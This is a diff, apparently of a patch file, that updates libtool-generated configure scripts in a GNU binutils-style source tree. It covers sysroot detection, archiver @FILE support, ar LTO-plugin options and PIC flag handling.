archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
fi
-@@ -9801,7 +10384,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9209,7 +9788,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
hpux10*)
if test "$GCC" = yes && test "$with_gnu_ld" = no; then
@@ -3072,7 +3084,7 @@ index 89c99abfeba..d3289a5efcd 100755
else
archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
fi
-@@ -9825,10 +10408,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+@@ -9233,10 +9812,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
;;
ia64*)
@@ -3085,7 +3097,7 @@ index 89c99abfeba..d3289a5efcd 100755
;;
esac
else
-@@ -9907,23 +10490,36 @@ fi
+@@ -9315,23 +9894,36 @@ fi
irix5* | irix6* | nonstopux*)
if test "$GCC" = yes; then
@@ -3130,7 +3142,7 @@ index 89c99abfeba..d3289a5efcd 100755
else
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
-@@ -10008,7 +10604,7 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9416,7 +10008,7 @@ rm -f core conftest.err conftest.$ac_objext \
osf4* | osf5*) # as osf3* with the addition of -msym flag
if test "$GCC" = yes; then
allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
@@ -3139,7 +3151,7 @@ index 89c99abfeba..d3289a5efcd 100755
hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
else
allow_undefined_flag=' -expect_unresolved \*'
-@@ -10027,9 +10623,9 @@ rm -f core conftest.err conftest.$ac_objext \
+@@ -9435,9 +10027,9 @@ rm -f core conftest.err conftest.$ac_objext \
no_undefined_flag=' -z defs'
if test "$GCC" = yes; then
wlarc='${wl}'
@@ -3151,7 +3163,7 @@ index 89c99abfeba..d3289a5efcd 100755
else
case `$CC -V 2>&1` in
*"Compilers 5.0"*)
-@@ -10605,8 +11201,9 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -10013,8 +10605,9 @@ cygwin* | mingw* | pw32* | cegcc*)
need_version=no
need_lib_prefix=no
@@ -3163,7 +3175,7 @@ index 89c99abfeba..d3289a5efcd 100755
library_names_spec='$libname.dll.a'
# DLL is installed to $(libdir)/../bin by postinstall_cmds
postinstall_cmds='base_file=`basename \${file}`~
-@@ -10639,13 +11236,71 @@ cygwin* | mingw* | pw32* | cegcc*)
+@@ -10047,13 +10640,71 @@ cygwin* | mingw* | pw32* | cegcc*)
library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
;;
esac
@@ -3236,7 +3248,7 @@ index 89c99abfeba..d3289a5efcd 100755
# FIXME: first we should search . and the directory the executable is in
shlibpath_var=PATH
;;
-@@ -10737,7 +11392,7 @@ haiku*)
+@@ -10135,7 +10786,7 @@ haiku*)
soname_spec='${libname}${release}${shared_ext}$major'
shlibpath_var=LIBRARY_PATH
shlibpath_overrides_runpath=yes
@@ -3245,16 +3257,16 @@ index 89c99abfeba..d3289a5efcd 100755
hardcode_into_libs=yes
;;
-@@ -11533,7 +12188,7 @@ else
+@@ -10931,7 +11582,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11536 "configure"
+-#line 10934 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11577,10 +12232,10 @@ else
+@@ -10975,10 +11626,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -3267,16 +3279,16 @@ index 89c99abfeba..d3289a5efcd 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -11639,7 +12294,7 @@ else
+@@ -11037,7 +11688,7 @@ else
lt_dlunknown=0; lt_dlno_uscore=1; lt_dlneed_uscore=2
lt_status=$lt_dlunknown
cat > conftest.$ac_ext <<_LT_EOF
--#line 11642 "configure"
+-#line 11040 "configure"
+#line $LINENO "configure"
#include "confdefs.h"
#if HAVE_DLFCN_H
-@@ -11683,10 +12338,10 @@ else
+@@ -11081,10 +11732,10 @@ else
/* When -fvisbility=hidden is used, assume the code has been annotated
correspondingly for the symbols needed. */
#if defined(__GNUC__) && (((__GNUC__ == 3) && (__GNUC_MINOR__ >= 3)) || (__GNUC__ > 3))
@@ -3289,7 +3301,7 @@ index 89c99abfeba..d3289a5efcd 100755
int main ()
{
void *self = dlopen (0, LT_DLGLOBAL|LT_DLLAZY_OR_NOW);
-@@ -16076,13 +16731,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
+@@ -15455,13 +16106,20 @@ exeext='`$ECHO "$exeext" | $SED "$delay_single_quote_subst"`'
lt_unset='`$ECHO "$lt_unset" | $SED "$delay_single_quote_subst"`'
lt_SP2NL='`$ECHO "$lt_SP2NL" | $SED "$delay_single_quote_subst"`'
lt_NL2SP='`$ECHO "$lt_NL2SP" | $SED "$delay_single_quote_subst"`'
@@ -3310,7 +3322,7 @@ index 89c99abfeba..d3289a5efcd 100755
STRIP='`$ECHO "$STRIP" | $SED "$delay_single_quote_subst"`'
RANLIB='`$ECHO "$RANLIB" | $SED "$delay_single_quote_subst"`'
old_postinstall_cmds='`$ECHO "$old_postinstall_cmds" | $SED "$delay_single_quote_subst"`'
-@@ -16097,14 +16759,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
+@@ -15476,14 +16134,17 @@ lt_cv_sys_global_symbol_pipe='`$ECHO "$lt_cv_sys_global_symbol_pipe" | $SED "$de
lt_cv_sys_global_symbol_to_cdecl='`$ECHO "$lt_cv_sys_global_symbol_to_cdecl" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address" | $SED "$delay_single_quote_subst"`'
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
@@ -3329,7 +3341,7 @@ index 89c99abfeba..d3289a5efcd 100755
DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
-@@ -16137,12 +16802,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+@@ -15516,12 +16177,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
@@ -3343,7 +3355,7 @@ index 89c99abfeba..d3289a5efcd 100755
file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
-@@ -16197,8 +16862,13 @@ reload_flag \
+@@ -15576,8 +16237,13 @@ reload_flag \
OBJDUMP \
deplibs_check_method \
file_magic_cmd \
@@ -3357,7 +3369,7 @@ index 89c99abfeba..d3289a5efcd 100755
STRIP \
RANLIB \
CC \
-@@ -16208,12 +16878,14 @@ lt_cv_sys_global_symbol_pipe \
+@@ -15587,12 +16253,14 @@ lt_cv_sys_global_symbol_pipe \
lt_cv_sys_global_symbol_to_cdecl \
lt_cv_sys_global_symbol_to_c_name_address \
lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
@@ -3373,7 +3385,7 @@ index 89c99abfeba..d3289a5efcd 100755
DSYMUTIL \
NMEDIT \
LIPO \
-@@ -16229,7 +16901,6 @@ no_undefined_flag \
+@@ -15608,7 +16276,6 @@ no_undefined_flag \
hardcode_libdir_flag_spec \
hardcode_libdir_flag_spec_ld \
hardcode_libdir_separator \
@@ -3381,7 +3393,7 @@ index 89c99abfeba..d3289a5efcd 100755
exclude_expsyms \
include_expsyms \
file_list_spec \
-@@ -16265,6 +16936,7 @@ module_cmds \
+@@ -15644,6 +16311,7 @@ module_cmds \
module_expsym_cmds \
export_symbols_cmds \
prelink_cmds \
@@ -3389,7 +3401,7 @@ index 89c99abfeba..d3289a5efcd 100755
postinstall_cmds \
postuninstall_cmds \
finish_cmds \
-@@ -17031,7 +17703,8 @@ $as_echo X"$file" |
+@@ -16410,7 +17078,8 @@ $as_echo X"$file" |
# NOTE: Changes made to this file will be lost: look at ltmain.sh.
#
# Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
@@ -3399,7 +3411,7 @@ index 89c99abfeba..d3289a5efcd 100755
# Written by Gordon Matzigkeit, 1996
#
# This file is part of GNU Libtool.
-@@ -17134,19 +17807,42 @@ SP2NL=$lt_lt_SP2NL
+@@ -16513,19 +17182,42 @@ SP2NL=$lt_lt_SP2NL
# turn newlines into spaces.
NL2SP=$lt_lt_NL2SP
@@ -3443,7 +3455,7 @@ index 89c99abfeba..d3289a5efcd 100755
# A symbol stripping program.
STRIP=$lt_STRIP
-@@ -17176,6 +17872,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+@@ -16555,6 +17247,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
# Transform the output of nm in a C name address pair when lib prefix is needed.
global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
@@ -3456,7 +3468,7 @@ index 89c99abfeba..d3289a5efcd 100755
# The name of the directory that contains temporary libtool files.
objdir=$objdir
-@@ -17185,6 +17887,9 @@ MAGIC_CMD=$MAGIC_CMD
+@@ -16564,6 +17262,9 @@ MAGIC_CMD=$MAGIC_CMD
# Must we lock files when doing compilation?
need_locks=$lt_need_locks
@@ -3466,7 +3478,7 @@ index 89c99abfeba..d3289a5efcd 100755
# Tool to manipulate archived DWARF debug symbol files on Mac OS X.
DSYMUTIL=$lt_DSYMUTIL
-@@ -17299,12 +18004,12 @@ with_gcc=$GCC
+@@ -16678,12 +17379,12 @@ with_gcc=$GCC
# Compiler flag to turn off builtin functions.
no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
@@ -3482,7 +3494,7 @@ index 89c99abfeba..d3289a5efcd 100755
# Compiler flag to prevent dynamic linking.
link_static_flag=$lt_lt_prog_compiler_static
-@@ -17391,9 +18096,6 @@ inherit_rpath=$inherit_rpath
+@@ -16770,9 +17471,6 @@ inherit_rpath=$inherit_rpath
# Whether libtool must link a program against all its dependency libraries.
link_all_deplibs=$link_all_deplibs
@@ -3492,7 +3504,7 @@ index 89c99abfeba..d3289a5efcd 100755
# Set to "yes" if exported symbols are required.
always_export_symbols=$always_export_symbols
-@@ -17409,6 +18111,9 @@ include_expsyms=$lt_include_expsyms
+@@ -16788,6 +17486,9 @@ include_expsyms=$lt_include_expsyms
# Commands necessary for linking programs (against libraries) with templates.
prelink_cmds=$lt_prelink_cmds
@@ -3502,7 +3514,7 @@ index 89c99abfeba..d3289a5efcd 100755
# Specify filename containing input files.
file_list_spec=$lt_file_list_spec
-@@ -17441,210 +18146,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+@@ -16820,210 +17521,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
# if finds mixed CR/LF and LF-only lines. Since sed operates in
# text mode, it properly converts lines to CR/LF. This bash problem
# is reportedly fixed, but why not run on old versions too?
@@ -3877,7 +3889,7 @@ index 89c99abfeba..d3289a5efcd 100755
chmod +x "$ofile"
diff --git a/gas/configure b/gas/configure
-index d4b13e6fc8b..dd5224c5c81 100755
+index 789d1b38b33..7ac563a13ad 100755
--- a/gas/configure
+++ b/gas/configure
@@ -681,8 +681,11 @@ OTOOL
@@ -3909,7 +3921,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
--with-cpu=CPU default cpu variant is CPU (currently only supported
on ARC)
--with-system-zlib use installed libz
-@@ -5277,8 +5283,8 @@ esac
+@@ -4569,8 +4575,8 @@ esac
@@ -3920,7 +3932,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
-@@ -5318,7 +5324,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+@@ -4610,7 +4616,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
$as_echo_n "checking how to print strings... " >&6; }
# Test print first, because it will be a builtin if present.
@@ -3929,7 +3941,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
ECHO='print -r --'
elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
-@@ -6004,8 +6010,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+@@ -5296,8 +5302,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
# Try some XSI features
xsi_shell=no
( _lt_dummy="a/b/c"
@@ -3940,7 +3952,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
&& eval 'test $(( 1 + 1 )) -eq 2 \
&& test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
&& xsi_shell=yes
-@@ -6054,6 +6060,80 @@ esac
+@@ -5346,6 +5352,80 @@ esac
@@ -4021,7 +4033,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
$as_echo_n "checking for $LD option to reload object files... " >&6; }
if ${lt_cv_ld_reload_flag+:} false; then :
-@@ -6070,6 +6150,11 @@ case $reload_flag in
+@@ -5362,6 +5442,11 @@ case $reload_flag in
esac
reload_cmds='$LD$reload_flag -o $output$reload_objs'
case $host_os in
@@ -4033,7 +4045,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
darwin*)
if test "$GCC" = yes; then
reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
-@@ -6238,7 +6323,8 @@ mingw* | pw32*)
+@@ -5530,7 +5615,8 @@ mingw* | pw32*)
lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
lt_cv_file_magic_cmd='func_win32_libid'
else
@@ -4043,7 +4055,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
lt_cv_file_magic_cmd='$OBJDUMP -f'
fi
;;
-@@ -6392,6 +6478,21 @@ esac
+@@ -5684,6 +5770,21 @@ esac
fi
{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
$as_echo "$lt_cv_deplibs_check_method" >&6; }
@@ -4065,7 +4077,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
file_magic_cmd=$lt_cv_file_magic_cmd
deplibs_check_method=$lt_cv_deplibs_check_method
test -z "$deplibs_check_method" && deplibs_check_method=unknown
-@@ -6407,9 +6508,162 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5699,6 +5800,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
@@ -4220,6 +4232,12 @@ index d4b13e6fc8b..dd5224c5c81 100755
+
+
+
+ plugin_option=
+ plugin_names="liblto_plugin.so liblto_plugin-0.dll cyglto_plugin-0.dll"
+ for plugin in $plugin_names; do
+@@ -5713,8 +5965,10 @@ for plugin in $plugin_names; do
+ done
+
if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ar; ac_word=$2
@@ -4230,7 +4248,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_AR+:} false; then :
-@@ -6425,7 +6679,7 @@ do
+@@ -5730,7 +5984,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -4239,7 +4257,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6445,11 +6699,15 @@ $as_echo "no" >&6; }
+@@ -5750,11 +6004,15 @@ $as_echo "no" >&6; }
fi
@@ -4258,7 +4276,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
$as_echo_n "checking for $ac_word... " >&6; }
if ${ac_cv_prog_ac_ct_AR+:} false; then :
-@@ -6465,7 +6723,7 @@ do
+@@ -5770,7 +6028,7 @@ do
test -z "$as_dir" && as_dir=.
for ac_exec_ext in '' $ac_executable_extensions; do
if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
@@ -4267,7 +4285,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
$as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
break 2
fi
-@@ -6484,6 +6742,10 @@ else
+@@ -5789,6 +6047,10 @@ else
$as_echo "no" >&6; }
fi
@@ -4278,7 +4296,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
if test "x$ac_ct_AR" = x; then
AR="false"
else
-@@ -6495,12 +6757,10 @@ ac_tool_warned=yes ;;
+@@ -5800,29 +6062,81 @@ ac_tool_warned=yes ;;
esac
AR=$ac_ct_AR
fi
@@ -4287,16 +4305,40 @@ index d4b13e6fc8b..dd5224c5c81 100755
fi
-test -z "$AR" && AR=ar
+-if test -n "$plugin_option"; then
+- if $AR --help 2>&1 | grep -q "\--plugin"; then
+- touch conftest.c
+- $AR $plugin_option rc conftest.a conftest.c
+- if test "$?" != 0; then
+- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
++ touch conftest.c
++ $AR $plugin_option rc conftest.a conftest.c
++ if test "$?" != 0; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Failed: $AR $plugin_option rc" >&5
+ $as_echo "$as_me: WARNING: Failed: $AR $plugin_option rc" >&2;}
+- else
+- AR="$AR $plugin_option"
+- fi
+- rm -f conftest.*
++ else
++ AR="$AR $plugin_option"
+ fi
+-fi
-test -z "$AR_FLAGS" && AR_FLAGS=cru
++ rm -f conftest.*
+: ${AR=ar}
+: ${AR_FLAGS=cru}
-
-
-
-@@ -6512,6 +6772,64 @@ test -z "$AR_FLAGS" && AR_FLAGS=cru
-
-
-
++
++
++
++
++
++
++
++
++
++
++
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for archiver @FILE support" >&5
+$as_echo_n "checking for archiver @FILE support... " >&6; }
+if ${lt_cv_ar_at_file+:} false; then :
@@ -4309,7 +4351,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
+int
+main ()
+{
-+
+
+ ;
+ return 0;
+}
@@ -4335,30 +4377,23 @@ index d4b13e6fc8b..dd5224c5c81 100755
+ fi
+ fi
+ rm -f conftest.* libconftest.a
-+
+
+fi
+rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-+
+
+fi
+{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_ar_at_file" >&5
+$as_echo "$lt_cv_ar_at_file" >&6; }
-+
+
+if test "x$lt_cv_ar_at_file" = xno; then
+ archiver_list_spec=
+else
+ archiver_list_spec=$lt_cv_ar_at_file
+fi
-+
-+
-+
-+
-+
-+
-+
- if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
- set dummy ${ac_tool_prefix}strip; ac_word=$2
-@@ -6846,8 +7164,8 @@ esac
+
+
+
+@@ -6169,8 +6483,8 @@ esac
lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
# Transform an extracted symbol line into symbol name and symbol address
@@ -4369,7 +4404,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
# Handle CRLF in mingw tool chain
opt_cr=
-@@ -6883,6 +7201,7 @@ for ac_symprfx in "" "_"; do
+@@ -6206,6 +6520,7 @@ for ac_symprfx in "" "_"; do
else
lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
fi
@@ -4377,7 +4412,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
# Check to see that the pipe works correctly.
pipe_works=no
-@@ -6924,6 +7243,18 @@ _LT_EOF
+@@ -6247,6 +6562,18 @@ _LT_EOF
if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
cat <<_LT_EOF > conftest.$ac_ext
@@ -4396,7 +4431,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
#ifdef __cplusplus
extern "C" {
#endif
-@@ -6935,7 +7266,7 @@ _LT_EOF
+@@ -6258,7 +6585,7 @@ _LT_EOF
cat <<_LT_EOF >> conftest.$ac_ext
/* The mapping between symbol names and symbols. */
@@ -4405,7 +4440,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
const char *name;
void *address;
}
-@@ -6961,8 +7292,8 @@ static const void *lt_preloaded_setup() {
+@@ -6284,8 +6611,8 @@ static const void *lt_preloaded_setup() {
_LT_EOF
# Now try linking the two files.
mv conftest.$ac_objext conftstm.$ac_objext
@@ -4416,7 +4451,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
LIBS="conftstm.$ac_objext"
CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
-@@ -6972,8 +7303,8 @@ _LT_EOF
+@@ -6295,8 +6622,8 @@ _LT_EOF
test $ac_status = 0; } && test -s conftest${ac_exeext}; then
pipe_works=yes
fi
@@ -4427,7 +4462,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
else
echo "cannot find nm_test_func in $nlist" >&5
fi
-@@ -7010,6 +7341,21 @@ else
+@@ -6333,6 +6660,19 @@ else
$as_echo "ok" >&6; }
fi
@@ -4444,17 +4479,17 @@ index d4b13e6fc8b..dd5224c5c81 100755
+
+
+
-+
-+
-@@ -7026,6 +7372,40 @@ fi
+@@ -6349,6 +6689,42 @@ fi
+
+
++
++
+{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
+$as_echo_n "checking for sysroot... " >&6; }
+
@@ -4490,7 +4525,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
-@@ -7237,6 +7617,123 @@ esac
+@@ -6560,6 +6936,123 @@ esac
need_locks="$enable_libtool_lock"
@@ -4614,7 +4649,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
case $host_os in
rhapsody* | darwin*)
-@@ -7800,6 +8297,8 @@ _LT_EOF
+@@ -7123,6 +7616,8 @@ _LT_EOF
$LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
echo "$AR cru libconftest.a conftest.o" >&5
$AR cru libconftest.a conftest.o 2>&5
@@ -4623,26 +4658,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
cat > conftest.c << _LT_EOF
int main() { return 0;}
_LT_EOF
-@@ -7995,7 +8494,8 @@ fi
- LIBTOOL_DEPS="$ltmain"
-
- # Always use our own libtool.
--LIBTOOL='$(SHELL) $(top_builddir)/libtool'
-+LIBTOOL='$(SHELL) $(top_builddir)'
-+LIBTOOL="$LIBTOOL/${host_alias}-libtool"
-
-
-
-@@ -8084,7 +8584,7 @@ aix3*)
- esac
-
- # Global variables:
--ofile=libtool
-+ofile=${host_alias}-libtool
- can_build_shared=yes
-
- # All known linkers require a `.a' archive for static linking (except MSVC,
-@@ -8382,8 +8882,6 @@ fi
+@@ -7705,8 +8201,6 @@ fi
lt_prog_compiler_pic=
lt_prog_compiler_static=
@@ -4651,7 +4667,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
if test "$GCC" = yes; then
lt_prog_compiler_wl='-Wl,'
-@@ -8549,6 +9047,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -7872,6 +8366,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='--shared'
lt_prog_compiler_static='--static'
;;
@@ -4664,7 +4680,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
# Portland Group compilers (*not* the Pentium gcc compiler,
# which looks to be a dead project)
-@@ -8611,7 +9115,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+@@ -7934,7 +8434,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
lt_prog_compiler_pic='-KPIC'
lt_prog_compiler_static='-Bstatic'
case $cc_basename in
@@ -4673,7 +4689,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
lt_prog_compiler_wl='-Qoption ld ';;
*)
lt_prog_compiler_wl='-Wl,';;
-@@ -8668,13 +9172,17 @@ case $host_os in
+@@ -7991,13 +8491,17 @@ case $host_os in
lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
;;
esac
@@ -4697,7 +4713,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
#
# Check to make sure the PIC flag actually works.
-@@ -8735,6 +9243,11 @@ fi
+@@ -8058,6 +8562,11 @@ fi
@@ -4709,7 +4725,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
#
# Check to make sure the static flag actually works.
#
-@@ -9085,7 +9598,8 @@ _LT_EOF
+@@ -8408,7 +8917,8 @@ _LT_EOF
allow_undefined_flag=unsupported
always_export_symbols=no
enable_shared_with_static_runtimes=yes
@@ -4719,7 +4735,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
-@@ -9184,12 +9698,12 @@ _LT_EOF
+@@ -8507,12 +9017,12 @@ _LT_EOF
whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
hardcode_libdir_flag_spec=
hardcode_libdir_flag_spec_ld='-rpath $libdir'
@@ -4734,7 +4750,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
fi
;;
esac
-@@ -9203,8 +9717,8 @@ _LT_EOF
+@@ -8526,8 +9036,8 @@ _LT_EOF
archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
wlarc=
else
@@ -4745,7 +4761,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
fi
;;
-@@ -9222,8 +9736,8 @@ _LT_EOF
+@@ -8545,8 +9055,8 @@ _LT_EOF
_LT_EOF
elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -4756,7 +4772,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
else
ld_shlibs=no
fi
-@@ -9269,8 +9783,8 @@ _LT_EOF
+@@ -8592,8 +9102,8 @@ _LT_EOF
*)
if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
@@ -4767,7 +4783,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
else
ld_shlibs=no
fi
-@@ -9400,7 +9914,13 @@ _LT_EOF
+@@ -8723,7 +9233,13 @@ _LT_EOF
allow_undefined_flag='-berok'
# Determine the default libpath from the value encoded in an
# empty executable.
@@ -4782,7 +4798,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
/* end confdefs.h. */
int
-@@ -9413,22 +9933,29 @@ main ()
+@@ -8736,22 +9252,29 @@ main ()
_ACEOF
if ac_fn_c_try_link "$LINENO"; then :
@@ -4825,7 +4841,7 @@ index d4b13e6fc8b..dd5224c5c81 100755
hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
-@@ -9440,7 +9967,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
